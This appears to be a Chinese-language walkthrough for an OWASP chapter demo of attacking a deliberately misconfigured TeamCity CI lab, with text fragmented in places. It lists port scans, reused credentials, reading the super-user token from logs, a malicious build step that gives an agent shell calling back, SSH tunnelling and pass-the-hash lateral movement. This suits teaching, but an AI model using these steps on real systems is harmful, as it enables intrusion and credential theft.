一个配置不安全的 TeamCity 持续集成环境。
进行中: 部署代码 即将 最终推出。

通过 PwnCity 的路径可能不止一条,但以下是我将在 2 月 24 日 OWASP Sacramento Chapter 会议上演示的那条路径。
注意: 这里在很大程度上忽略了操作安全,因为这只是一个演示。
nmap -Pn -p- 52.234.0.18。
nmap 52.234.0.18 会让人误以为主机已死。nmap -Pn 52.234.0.18。


bob,密码 bobhacks?。
bob 身份导航到 Projects > SimpleMavenSample > Build > SettingsParameters 中包含凭据。

ssh [email protected] 中被重用,然后以低权限用户身份 SSH 登录。

我们可以从最初的立足点建立隧道。知道两个构建代理上开放了 RDP,我们就可以尝试使用已找到的凭据进行身份验证……但那样就没那么有趣了。
cat /home/dev/TeamCity/TeamCity/logs/teamcity-server.log | grep "Super user"。

Administration > Projects > Create project 创建新项目 PwnAgent,并在构建代理上获得 shell。

cmd.exe/c %system.teamcity.build.checkoutDir%/launcher.bat

Run 旁边的 ,然后选择你要攻击的目标代理。如果一切顺利,你会让代理回连。
凭据选自 rockyou.txt。
PwnAgent01 已启用 Microsoft Defender。虽然仍然有可能绕过它,但我们演示的恶意构建步骤会被阻止。



本节只是收集了在管理实验环境时一些有用的片段。
TeamCity 主机进行动态端口转发,以访问本地资源:ssh -D 9050 [email protected]。proxychains4 xfreerdp /u:dev /v:10.0.0.6:3389 进行 RDP 连接。...

powershell/situational_awareness/network/portscan 模块运行端口扫描。发现 10.0.0.7 的 3389,445,139,135 端口全部开放。

bruno 的密码。powershell/lateral_movement/invoke_smbexec,通过 NTML 哈希在 Bruno-PC 上获取 beacon。
